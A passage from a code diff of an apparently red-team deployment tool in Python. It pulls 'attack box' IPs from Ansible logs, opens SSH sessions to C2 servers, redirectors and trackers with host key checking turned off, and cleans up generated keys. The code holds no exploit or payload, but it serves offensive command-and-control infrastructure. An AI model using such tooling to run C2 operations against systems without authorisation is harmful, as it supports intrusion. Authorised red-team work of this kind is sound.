log_files_to_check: + if os.path.exists(log_file): + try: + with open(log_file, 'r') as f: + content = f.read() + # Look for various IP patterns in the log + ip_patterns = [ + r'"attack_box_ip":\s*"([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})"', + r'attack_box_ip.*?([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'"ipv4":\s*\["([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})"\]', + r'ansible_host["\s]*=[\s]*([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'instance_ip["\s]*:[\s]*([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'Target: ([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'IP["\s]*:[\s]*([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + # Look for IP in Ansible task output patterns + r'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\s+:\s+ok=', + r'PLAY RECAP.*?([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'changed: \[([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\]', + r'ok: \[([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\]' + ] + + for pattern in ip_patterns: + match = re.search(pattern, content) + if match: + ip = match.group(1) + logging.info(f"Extracted attack box IP from logs: {ip}") + return ip + except Exception as e: + logging.warning(f"Could not read deployment log {log_file}: {e}") + + # Check deployment info file + info_file = f"logs/deployment_info_{deployment_id}.txt" + if os.path.exists(info_file): + try: + with open(info_file, 'r') as f: + content = f.read() + # Look for IP in SSH command or other contexts + ip_patterns = [ + r'root@([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'Instance IP:\s*([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})', + r'IP["\s]*:[\s]*([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})' + ] + + for pattern in ip_patterns: + match = re.search(pattern, content) + if match: + ip = match.group(1) + logging.info(f"Extracted attack box IP from deployment info: {ip}") + return ip + except Exception as e: + logging.warning(f"Could not read deployment info: {e}") + + logging.warning("Could not extract attack box IP from logs") + return None + +def ssh_to_instance(config): + """SSH into an instance after deployment""" + ssh_key_path = config.get('ssh_key_path', '').replace('.pub', '') + + # Handle attack box deployments + if config.get('attack_box_deployment'): + instance_ip = config.get('attack_box_ip') + instance_name = config.get('attack_box_name', 'attack box') + + # If no IP stored in config, try to extract from deployment logs + if not instance_ip: + instance_ip = extract_attack_box_ip_from_logs(config) + + # Determine which instance to connect to for C2 deployments + elif config.get('c2_only') or (not config.get('redirector_only') and not config.get('deploy_tracker')): + # Connect to C2 server + instance_ip = config.get('c2_ip') + instance_name = config.get('c2_name', 'C2 server') + elif config.get('redirector_only'): + # Connect to redirector + instance_ip = config.get('redirector_ip') + instance_name = config.get('redirector_name', 'redirector') + elif config.get('deploy_tracker') and not config.get('integrated_tracker'): + # Connect to tracker + instance_ip = config.get('tracker_ip') + instance_name = config.get('tracker_name', 'tracker') + else: + # Default to C2 server + instance_ip = config.get('c2_ip') + instance_name = config.get('c2_name', 'C2 server') + + if not instance_ip: + print(f"{COLORS['RED']}No instance IP found for SSH connection{COLORS['RESET']}") + return + + ssh_user = config.get('ssh_user', 'root') + + print(f"{COLORS['GREEN']}Connecting to {instance_name} ({instance_ip})...{COLORS['RESET']}") + + ssh_command = [ + "ssh", + "-i", ssh_key_path, + "-o", "StrictHostKeyChecking=no", + "-o", "UserKnownHostsFile=/dev/null", + "-o", "IdentitiesOnly=yes", + f"{ssh_user}@{instance_ip}" + ] + + try: + subprocess.run(ssh_command) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}SSH session ended{COLORS['RESET']}") + except Exception as e: + print(f"{COLORS['RED']}SSH connection failed: {e}{COLORS['RESET']}") + +def cleanup_ssh_keys(deployment_id=None, keep_keys=False): + """Clean up generated SSH keys""" + if keep_keys: + return + + if hasattr(generate_ssh_key, 'generated_keys'): + for key_path in generate_ssh_key.generated_keys: + # Only remove keys we generated for this deployment + if deployment_id and f"_{deployment_id}" in key_path: + try: + if os.path.exists(key_path): + os.remove(key_path) + if os.path.exists(f"{key_path}.pub"): + os.remove(f"{key_path}.pub") + logging.info(f"Removed SSH key: {key_path}") + except Exception as e: + logging.error(f"Failed to remove SSH key {key_path}: {e}")